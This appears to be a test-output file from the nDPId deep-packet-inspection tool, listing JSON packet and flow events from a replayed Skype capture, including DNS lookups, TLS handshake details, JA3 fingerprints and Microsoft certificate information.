+00560{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":400867,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"PBXCt3IO0NQSxnP1CABFAACYAABAAEARtuHAqAEBwKgBIgA15TkAhAy4SPGBgAABAAAAAQAADkRCM01TR1I1MDExNzA5B2dhdGV3YXkJbWVzc2VuZ2VyBGxpdmUDY29tAAAcAAHALQAGAAEAAArBADUDbnMxBG1zZnQDbmV0AAZtc25oc3QJbWljcm9zb2Z0wDJ4Gz7uAAAcIAAAA4QAJOoAAAAOEA=="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":21,"source":"skype.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_first_seen":1431969642334,"flow_last_seen":1431969642400,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":67,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":99,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58681,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"db3msgr5011709.gateway.messenger.live.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00434{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":433995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGIPEX30kiwKgBIgG7w2sxgMP95JI3k6ASOJD6qQAAAgQFrAQCCAr301nQPiKLYwEDAwU="} +00423{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":434069,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0zNJAAEAGSybAqAEiF99JIsNrAbvkkjeTMYDD\/oAQECxRlwAAAQEICj4ii5z301nQ"} +00685{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":434817,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADz+0lAAEAGG\/DAqAEiF99JIsNrAbvkkjeTMYDD\/oAYECz3GAAAAQEICj4ii5z301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"skype.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1431969642376,"flow_last_seen":1431969642434,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":32,"flow_max_l4_data_len":223,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.223.73.34","src_port":50027,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"apps.skypeassets.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"skype.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1431969642444,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":50028,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":444382,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1ldAAEAGhorAqAEinTh+08NsAbvs\/oHsAAAAALAC\/\/9bSwAAAgQFtAEDAwUBAQgKPiKLpgAAAAAEAgAA"} +00433{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":469363,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYZlBN98hwKgBIpxCw2oyvdjRgJS+lKASOJDQnQAAAgQFrAQCCApNl5tJPiKLPAEDAwk="} +00421{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":469425,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0MzFAAEAGJXDAqAEiQTffIcNqnEKAlL6UMr3Y0oAQECwnRgAAAQEICj4ii75Nl5tJ"} +00502{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":469732,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"0NQSxnP1PBXCt3IOCABFAABtY0NAAEAG9STAqAEiQTffIcNqnEKAlL6UMr3Y0oAYECzrYwAAAQEICj4ii75Nl5tJ6smIHyVAovOEKtxMjFHhFE5etiV\/vVw36gjZq5ds6C9zJBux3MBO5ybMZHGD\/6v5\/6TFMnvwoV63"} +00430{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":519540,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"PBXCt3IO0NQSxnP1CABFAAA4WGRAAHYGzoWdOH7TwKgBIgG7w2wloWLk7P6B7ZASIACkPAAAAgQFrAQCCAoZLBplPiKLpg=="} +00427{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":519606,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA00kpAAEAGiqPAqAEinTh+08NsAbvs\/oHtJaFi5YAQ\/\/\/eqAAAAQEICj4ii\/AZLBpl"} +00558{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":548365,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"0NQSxnP1PBXCt3IOCABFAACSMcdAAEAGKsnAqAEinTh+08NsAbvs\/oHtJaFi5YAY\/\/9NyQAAAQEICj4ijAwZLBplFgMBAFkBAABVAwEgtkKG+1toLI7mzUNcQhv4\/5ujub1OOHHUzm\/nOhDVwQAALsAKwAXACcAEwAfAAsAIwAPAFMAPwBPADsARwAzAEsANADkAMwA1AC8ABQAEAAoBAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"skype.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1431969642444,"flow_last_seen":1431969642548,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":32,"flow_max_l4_data_len":126,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":50028,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"06207a1730b5deeb207b0556e102ded2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00423{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":578563,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0X1hAAEAGuKDAqAEiF99JIsNrAbvkkjhSMYDD\/oARECxQSQAAAQEICj4ijCr301nQ"} +00421{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":599415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0Q7tAADcGHeZBN98hwKgBIpxCw2oyvdjSgJS+zYAQAB02+wAAAQEICk2Xm2o+Iou+"} +00558{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":607645,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"PBXCt3IO0NQSxnP1CABFAACWQ7xAADcGHYNBN98hwKgBIpxCw2oyvdjSgJS+zYAYAB083AAAAQEICk2Xm2w+Iou+CdMT1UPQKox859yHIz6o0HUYFajlOiLQWTdPoYnrUXixya2Pp2zpzSU+jOImqOecY7jJZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoV63\/D1Ks8g="} +00421{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":607703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0PI9AAEAGHBLAqAEiQTffIcNqnEKAlL7NMr3ZNIAQECgmBAAAAQEICj4ijEZNl5ts"} +00433{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":608134,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86W5AAEAGbyrAqAEiQTffIcNqnEKAlL7NMr3ZNIAYECjBzQAAAQEICj4ijEZNl5tsq7xG5CK7Tso="} +02360{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":630749,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"PBXCt3IO0NQSxnP1CABFAAXUW3RAAHYGxdmdOH7TwKgBIgG7w2wloWLl7P6CS4AQ\/SBMsgAAAQEIChksGm8+IowMFgMBDm0CAABGAwFVWh9q25\/l6fJ\/H0CETvek1qRdi\/+k+NwdrfjDwigGXyArEwAA62WuwRD8r0UCJjDv\/21psKhSbK3EMkyvcrpjRsAUAAsADLAADK0ABsIwgga+MIIEpqADAgECAhNaAABXr+G5kPxf1sjbAAEAAFevMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBTU0wgU0hBMjAeFw0xNDEwMjcyMjUxMDdaFw0xNjEwMjYyMjUxMDdaMCcxJTAjBgNVBAMMHCouZ2F0ZXdheS5tZXNzZW5nZXIubGl2ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCyx0gXDtYT4FDgq1U\/QT4gIqh\/oOwWGgGWr1Rw1pQofkd5Appl7fbVIjBIuJ+PMiYpN1xCoV1HZbm8LArgeHDfsoutcr0hH5rsD6th+v+cZ\/Gp0zo8NL2R606iXfu6X64MlQlCO\/UFzzV4LPDfXvjmXPMa6j593FmA7o9xMkfCYTsoSVSUMNFAU2t8o01SWuCjZYIf4rKo8YKrN0XNh868VsKpWPOf0is1CGHYv+tscgp6dRsSNLEMuMqcjtY2hH3b+XSVViiIbU2Qv8fj9559K777if3lrsPegqawHj5lb\/SF0hqH55segyHJV40HOAoBBNKrXmDFC7xJBy2UTmWzAgMBAAGjggJ8MIICeDAdBgNVHQ4EFgQUUTD6bxEALx8wce+ldRcbVOgh+TAwCwYDVR0PBAQDAgSwMB8GA1UdIwQYMBaAFFGvJCac9GgiV4AmKztGYhV7HsylMH0GA1UdHwR2MHQwcqBwoG6GNmh0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL21zaXR3d3cyLmNybIY0aHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL21zaXR3d3cyLmNybDBwBggrBgEFBQcBAQRkMGIwPAYIKwYBBQUHMAKGMGh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL21zaXR3d3cyLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwTgYDVR0gBEcwRTBDBgkrBgEEAYI3KgEwNjA0BggrBgEFBQcCARYoaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzADAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMBMAoGCCsGAQUFBwMCMIGfBgNVHREEgZcwgZSCHCouZ2F0ZXdheS5tZXNzZW5nZXIubGl2ZS5jb22CJiouYmV0YS5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tgiUqLmJ5Mi5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tgiUqLnNuMS5nYXRld2F5LmVkZ2UubWVzc2VuZ2VyLmxpdmUuY29tMA0GCSqGSIb3DQEBCwUAA4ICAQCnsc3osHo0VQdHc5SuNwgNZJ8VsGz4eyw1SrNg9wtd7X8dgqG0DxuGBpdklYV1npJ69Mh9pxvTLkelzlqQDQ\/1JCGc1pEMYEeLbjuCppS3YkAcyqQNhIJN8hG7Ed1mdiul2eLg+teOctcRJaHvYA6AG90ICkMWVpiMmukLC+WmFcpurK\/Y"} +00452{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":630910,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"PBXCt3IO0NQSxnP1CABFAABIW3VAAHYGy2SdOH7TwKgBIgG7w2wloWiF7P6CS4AY\/SAgLQAAAQEIChksGm8+IowMMUuJaVUXCwA66lzZMRkm0xM\/nV8="} +00426{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":630945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0anpAAEAG8nPAqAEinTh+08NsAbvs\/oJLJaFomYAQ\/\/\/YHwAAAQEICj4ijF0ZLBpv"} +02372{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":708091,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"PBXCt3IO0NQSxnP1CABFAAXUXR9AAHYGxC6dOH7TwKgBIgG7w2wloWiZ7P6CS4AQ\/SBcLgAAAQEIChksGng+IoxdUYsZAArswT+sVYDe4\/s+octFa5f5NraUxxncYJ0H1DXox59A2Fq5VISuVN85wP2CCUyU9Jri0W12MS8UHhofDtCC\/aeGWq+l6J+nD16R4eDapUlNB52CJOmfvVeyYhEr\/aSkyh+x5qntiHPmxNL4oQ4t9q9cRGg37NGw4W3v7gKUqZA7GOEtfs7ndzQKvfITYRFhRXtB+Geyc8SVWiWlBbePlt40Z9Mwm7DPu0JToThROvr07EpvaNHsDj+sfl4\/ssqhJPAoVfz0wWGwi\/ByYUJT0t+8BVptm\/HAUYoi\/0PQFRMfymq9Y999sgymNr6YwPYzcm66fQL57hVd+E\/NpGuAwv\/j4I98bfIb7cS26RkUtr41mvTduUpwXz6HZnONvg3rFQ55MtL0jpv\/5T2PNTkmAFhF5Csuvsme4bvtShQRBEmXn48raUgx6y\/5XH7Pm2hyngLVzMnjf+Ej0KsCBNhIlshCh7AABeUwggXhMIIEyaADAgECAgQHJ6pHMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTQwNTA3MTcwNDA5WhcNMTgwNTA3MTcwMzMwWjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgU1NMIFNIQTIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDR6DendopwSxnwIDcJJDd\/6vt45gW6aq1OJw38cmrZbCHEZBGVcxAKXCV7iGyUBP3H26573EoIsz4W8dCt2zBt1xoeUrU98EcZA+J9pr1XEz9U6jqjsXf8QvBjSWqRgC4wScCK6yuv\/jrrB10G9+n9hA6RvQkgKehuXQnOFdPn79tQ60TvGFerBB28Mfn3eyoTz9E9Ua8bxbV757D8U7ua52PeQTO2RyRpXbhGp\/+tq99PenglJyEmNMoCbjdR8O1YGmCU9sST2N0wJCXXHOsZlDVdk7KuqimDc8R0WQVSZ53aZ1E5BTo26vIedisUruw9+RSZiwduvOcMVt6svq7bdTKQnmO9dL\/gCsr4NJZnhM3RQjh4x5m2DM62D+kby\/RZvhEOyywyyPqDKWR5PItL8DJ0bPOTuJZrXVdaaMHMDHmKGd71SQJeCIABiQwyzdLWltVLoPPsv6v0fbOhuXzaTtflt6y58iVfAcuMlqgorsEzWvY\/CJDc6\/852CbIEp0cmqqpwBaOhu1nUpYAfw2SPT3ZcDbl6kJvH66V5Vtd+NA6x9Ted4bQ\/J5O4uK4qWg3CcQ544W4ifMfbrdtH0ovGAlv3koBjxTJt6bup2OfM6RUfEKDaLil37\/suRpdEzvZrWj9IApVkSFk+dcTAaAIXVmJG0SvpKzHBRD6QUqo+wIDAQABo4IBezCCAXcwEgYDVR0TAQH\/BAgwBgEB\/wIBADBgBgNVHSAEWTBXMEgGCSsGAQQBsT4BADA7MDkGCCsGAQUFBwIBFi1odHRwOi8vY3liZXJ0cnVzdC5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeS5jZm0wCwYJKwYBBAGCNyoBMEIGCCsGAQUFBwEBBDYwNDAyBggrBgEFBQcwAYYmaHR0cDovL29jc3Aub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUF"} +01505{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":708318,"pkt_caplen":864,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":864,"pkt_l4_len":830,"pkt":"PBXCt3IO0NQSxnP1CABFAANSXSBAAHYGxq+dOH7TwKgBIgG7w2wloW457P6CS4AY\/SCFTgAAAQEIChksGng+IoxdBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NkcDEucHVibGljLXRydXN0LmNvbS9DUkwvT21uaXJvb3QyMDI1LmNybDAdBgNVHQ4EFgQUUa8kJpz0aCJXgCYrO0ZiFXsezKUwDQYJKoZIhvcNAQELBQADggEBAGli9oSRAMRvgnsk4UKipYuCXKfFRMvnUnZj03aeeOJpNbE4urCWxh+se8ayZXeLfY2uZLmljBfKWGXDrYL1xaL1AROTxn5E5cRh+gO2VsFy4cgoxWkhj6xu\/X9Dgza4wNagKP4aRb79k4yNpGR5HxTboZ8h3MBOexciF7G2PNOb4gqjfpmwwazY9IbfPNp9FJxAwXzSGG\/xTyZFCZWUXNrQmPj0TIKWEN6sMMsrrvmS6r95A\/weP6wJpD9l\/ZFPliSnzrROapYpF67AqN8XIvQX49wcOQZWEOrqtXQXPE7dfpEKqAt4B6cxRAgxqxiEDxKc596ELOltk0W\/qME\/NNwMAAFnAwAYYQTTN3+FNDwR9eQeYOtvGQZc+LyhevxS5+nlWdkwyQdoN8m1+2TrSW23TxxjbLbMZoXA+i+E6BgARpsJXZy4miOppb32qv9x1t203eD1ERk7k5Ne4\/vHdrClQby6SNFwJX8BAATxuL0lrQIrFkTOmrS5j4SkOHuGFL5IcHjsIYlkHJlCypJxNDdccJhYLSmDWKENgzEzPLuBRlhOVXExXlaXjd68azcrncuOeSNLeJs78eJnyzYwueBV344\/vv\/bXNO4NZWFimC\/F4mVSiKEMCm7MyjsWpHZmcyKExChenvC0DW6ATJpMz1P4puTiXvc\/8vEV+pCUBOhRwLMvD9W3q3uRUvG3vg3vVjajv+Btk1AKLdhZaRe4JLk95s\/SEkzGRiWE3FMms62iGDeJkFoWMbc9BW\/F7T0cbGYU\/g91JLgrFBNmNc8lbhf\/w7YDwyAohQfhUNLqcaoLYvKXuoozmjbQcIOAAAA"} +01183{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":41,"source":"skype.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":9,"flow_first_seen":1431969642444,"flow_last_seen":1431969642708,"flow_tot_l4_data_len":4096,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":455,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.126.211","src_port":50028,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Skype","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.gateway.messenger.live.com,*.beta.gateway.edge.messenger.live.com,*.by2.gateway.edge.messenger.live.com,*.sn1.gateway.edge.messenger.live.com","ja3":"06207a1730b5deeb207b0556e102ded2","ja3s":"5e4e5596180ebd0ac0317125ee490707","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT SSL SHA2","issuerDN":"CN=*.gateway.messenger.live.com","fingerprint":"95:C4:07:41:85:D4:EF:AA:D9:1F:0F:1F:3C:08:BF:8E:8B:D0:90:51"}} +00427{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":708360,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA08wdAAEAGaebAqAEinTh+08NsAbvs\/oJLJaFxV4AQ\/\/\/PCwAAAQEICj4ijKoZLBp4"} +00575{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":721022,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"0NQSxnP1PBXCt3IOCABFAACfLVVAAEAGLy7AqAEinTh+08NsAbvs\/oJLJaFxV4AY\/\/8rtQAAAQEICj4ijLYZLBp4FgMBAGYQAABiYQSjw7rH0spJ7j8GLYCMheRZGMxZ3\/fgvwjIxHOMZDyj1laQGsIe8lJQFXSsShMnTlSuvrtrEr4fnpODoiXtT2hGPxMrjRFBdsir\/yXczKkdYM+WfvMDNhZibmcCg77lKAQ="} +00685{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969642,"pkt_ts_usec":811199,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADz0jBAAEAGRQnAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECz1pAAAAQEICj4ijQ\/301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} 